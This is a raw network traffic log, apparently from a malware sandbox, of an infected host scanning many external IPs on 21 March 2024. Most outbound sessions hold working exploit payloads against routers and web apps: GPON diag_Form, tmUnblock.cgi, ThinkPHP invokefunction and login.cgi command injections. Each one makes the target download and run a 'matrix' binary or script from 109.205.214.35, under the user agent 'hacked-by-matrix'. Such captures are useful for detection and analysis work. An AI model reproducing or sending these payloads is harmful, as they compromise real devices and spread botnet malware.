Mar 21, 2024 05:26:52.381608963 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d Data Ascii: float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; righ
Mar 21, 2024 05:26:52.381614923 CET	1286	IN	Data Raw: 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 Data Ascii: U5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIiz
Mar 21, 2024 05:26:52.381619930 CET	1286	IN	Data Raw: 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 Data Ascii: QK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIp
Mar 21, 2024 05:26:52.381632090 CET	1130	IN	Data Raw: 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 Data Ascii: mVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGF
Mar 21, 2024 05:26:52.381654024 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to servidor6549.sd.controladordns.com's <a href="mail
Mar 21, 2024 05:26:52.381664991 CET	391	IN	Data Raw: 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 Data Ascii: ?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <d

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.23	38616	172.65.158.2	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.026104927 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.23	49368	37.175.128.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385312080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.23	38552	212.9.234.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385318041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.23	57868	210.232.23.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385356903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.23	53604	2.173.99.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385359049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.23	38432	212.48.150.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385385036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.23	47074	94.49.225.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385386944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.23	42924	178.13.180.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385400057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.23	45500	118.66.91.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385406017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.23	52270	178.116.90.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385447025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.23	47260	37.113.128.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385457993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.23	47780	210.214.223.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385495901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.23	36962	118.217.50.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385550022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.23	35234	2.19.34.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385550976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.23	55956	37.97.85.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.385565996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.23	52138	88.218.104.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.641947031 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:54.152548075 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:54.249022007 CET	430	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:54 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.23	36712	212.3.220.30	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.902669907 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.939600945 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:03.079267025 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:15.109560966 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.23	42130	212.93.109.186	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.903028011 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.939594030 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:03.079274893 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:15.109561920 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.23	39646	212.154.221.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:53.982692003 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:54.254414082 CET	29	IN	HTTP/1.1 200 OK
Mar 21, 2024 05:26:54.254615068 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www
Mar 21, 2024 05:26:55.097630978 CET	532	IN	HTTP/1.1 200 OK Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 74 64 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 74 72 2f 78 68 74 6d 6c 31 2f 44 74 64 2f 78 68 74 6d 6c 31 2d 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 6c 61 6e 67 3d 22 75 74 66 2d 38 22 